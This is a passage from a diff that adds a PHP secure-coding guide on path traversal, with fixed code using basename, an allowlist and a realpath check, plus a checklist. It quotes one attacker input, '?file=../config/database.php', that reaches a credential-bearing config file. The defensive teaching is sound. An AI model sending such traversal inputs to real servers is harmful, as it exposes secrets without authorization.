+ // Attacker: ?file=../config/database.php
24
+ ```
25
+
26
+ **Correct (validated internal paths):**
27
+
28
+ ```php
29
+ // 1. Using pathinfo/basename to strip directory separators
30
+ $file = $_GET['file'];
31
+ $safeName = basename($file); // strips any directory paths like ../
32
+
33
+ // 2. Validate against an allowlist (Safest)
34
+ $allowedFiles = ['report.pdf', 'invoice.pdf'];
35
+ if (!in_array($safeName, $allowedFiles)) {
36
+ die("Unauthorized file access.");
37
+ }
38
+
39
+ // 3. Ensure the resolved path is within the intended directory
40
+ $baseDir = realpath('/var/www/uploads/');
41
+ $requestedPath = realpath($baseDir . '/' . $safeName);
42
+
43
+ if ($requestedPath === false || strpos($requestedPath, $baseDir) !== 0) {
44
+ die("Invalid path traversal attempt.");
45
+ }
46
+
47
+ readfile($requestedPath);
48
+ ```
49
+
50
+ **Security Checklist:**
51
+ 1. **Always use [`basename()`](https://www.php.net/manual/en/function.basename.php)** to extract only the filename from user input.
52
+ 2. **Use [`realpath()`](https://www.php.net/manual/en/function.realpath.php)** and verify that the resulting path still starts with your expected base directory.
53
+ 3. **Prefer internal identifiers** (e.g., download by ID from a database) instead of exposing filenames in URLs.
54
+ 4. **Disable `allow_url_include`** in `php.ini` to prevent Remote File Inclusion (RFI).
55
+
56
+ **Tools:** PHPInternal Security settings, SonarQube, Semgrep, OWASP ZAP